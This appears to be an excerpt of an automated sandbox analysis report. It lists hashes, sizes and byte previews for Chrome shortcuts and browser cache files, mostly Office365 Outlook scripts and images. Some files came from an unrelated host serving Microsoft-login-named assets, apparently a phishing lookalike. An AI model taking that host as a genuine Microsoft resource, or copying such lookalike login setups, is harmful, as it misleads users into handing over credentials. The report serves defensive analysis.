SSDEEP:	48:89IdNT4N7rLHPidAKZdA10eh/iZUkAQkqehny+2:89u0Z79QKy
MD5:	51F4A46640794329C838F1F3BF65EFF1
SHA1:	AD7E0A123A3BB3D2C5FFEC4443E8BDA67AE4679F
SHA-256:	E58EDC041341A10462402BCCAB8A6A760BD6CB19C6E6C48AB898BFC3FF222B16
SHA-512:	79FB2C03409644E1AEDD19931A4317808CBD3092AD1A2621450F2EEF35F03E16EB798BD66BDD8AB0B67054323330E73F638164AA1904612A5138D83D0F677533
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....XT.........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XH............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.016390078232946
Encrypted:	false
SSDEEP:	48:8eIdNT4N7rjHPidAKZdA14tIeh7sFiZUkmgqeh7sBy+BX:8eu0Zjnzy
MD5:	18520CF098C4848C4786D3CD8CB9B776
SHA1:	DB662609902C68A1FCD72A57328AA156D6438074
SHA-256:	40A24701FF4135E55E374B1B51D181674A67463BB47349EFC6150FB97FA72C49
SHA-512:	C576588B6DF6526DCBF0F029005302B941A0D9D05177E45923EFE1351E428437938B5A24A3A253A57B1CC0ED4C808E09B71311140B68D31C83A8C9D1BD127F7C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 19:18:14 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.005405917172256
Encrypted:	false
SSDEEP:	48:8LIdNT4N7rLHPidAKZdA1behDiZUkwqehby+R:8Lu0Zopy
MD5:	8D9B08B380671430F7925886299E14C2
SHA1:	DE4969961283AB86A87BFA0F77F31766C2FD0291
SHA-256:	ADBC83FC2D0C4C20ABE8F4C6C1B8AB99B8A3EAFAE6F7A2B268D7770A525436AE
SHA-512:	5DCA26711A42D0486A3342ACAF1AF8702BB1C5C1820920FD2F32F358F3B3580962E583991F8AAD04DD9C641F70068160D9A0BEC2EB234B26EC5F14BD65475566
Malicious:	false
Preview:	L..................F.@.. ...$+.,......N.........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XH............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 19:18:14 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.994806205667558
Encrypted:	false
SSDEEP:	48:8JIdNT4N7rLHPidAKZdA1VehBiZUk1W1qehty+C:8Ju0ZY9Ny
MD5:	3D2342C9A290EF00CDEBCCD8BF4A27BC
SHA1:	100FE30A997EF8E1B10FCE7C4BB260DF7BDEA4B2
SHA-256:	FF2600A5034295DA94052D0F116EF038BDC537D12C4A301B7394DFFCAA1282C8
SHA-512:	2E11DF696958C4058F20313C5A94C980554EC03FDE64B3847E48F8C50A8622A515658269AE08431B9A2B638881C2E1653451F31E20D85E39B406CD3DA3431D8A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Z.........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XH............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 19:18:14 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.007180565000131
Encrypted:	false
SSDEEP:	48:80IdNT4N7rLHPidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbzy+yT+:80u0ZSTTTbxWOvTbzy7T
MD5:	F02838E470F5E619FD99CEF854561D66
SHA1:	8211B4A608BEC814D194EFA9323E7410F53C3C7C
SHA-256:	B9FB5710A0FC6E1FDF58E316B53056EBC52AA081BC238D56EAE4A9D3BE14ACA5
SHA-512:	70E5E00745E63B7969CAC6E5BE8980FFC1EA2A4DCCD72CF68E2FD7261C73C0438F63A3B9A0218310B5F86E7791FF283AF77497FB17B3F5920DBE6ED6E484E361
Malicious:	false
Preview:	L..................F.@.. ...$+.,......5.........y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XF.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XF.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XF............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XH............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............@......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	downloaded
Size (bytes):	113657
Entropy (8bit):	5.491599164368304
Encrypted:	false
SSDEEP:	1536:PKq+7j8gIRPY0+r5qnWiseKVeOIXYx15CevgbSvzNXteFN50Xu:bgDTMnWcdOswvgbmp8Fbiu
MD5:	5B0E3778C74235B06DA49808DD8DF90A
SHA1:	AD25897B0870B81568412F55B19898E406CC11B3
SHA-256:	7530B843A86F3155CE07CDA787A40DA87052664B09C22F3D4DB5E9238664DBE0
SHA-512:	EE1FB8F232311A45A10D2CC2A8F19B6C8F86ECE52688F909B0928C0F65AE0953EB2176D0ADEA893A371300D0E3FEE7AF046865D48FFC2812B3440D01ADAEB727
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_eb638da25d4055fbbb57.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{487:function(e,t,r

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwmZuQOHtRFUAxIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43896)
Category:	downloaded
Size (bytes):	223759
Entropy (8bit):	5.257227710687157
Encrypted:	false
SSDEEP:	3072:KO0fqoBmncEhWcjYcB6UpO2jrksurdPvsiQj:UmcKrpO7surRve
MD5:	5252837FFA272234E1CBF2D3D83EF32C
SHA1:	CAA4E48A54A2B1CA09327E42F24F6031FDF21CDA
SHA-256:	DF2E852C347ECF82F70A0C8A4B91713FBB0914D58F2CBAB01316BFE646ABEE7C
SHA-512:	523C59BC0D2861B8F35A8D46E52C935A26001B2A2EF8197F7F6DBFC38E8F0D51A5D3753FD4F0DCCD68DA08505D3313AFCFA7CB236E0363EDA4856D41F05A233A
Malicious:	false
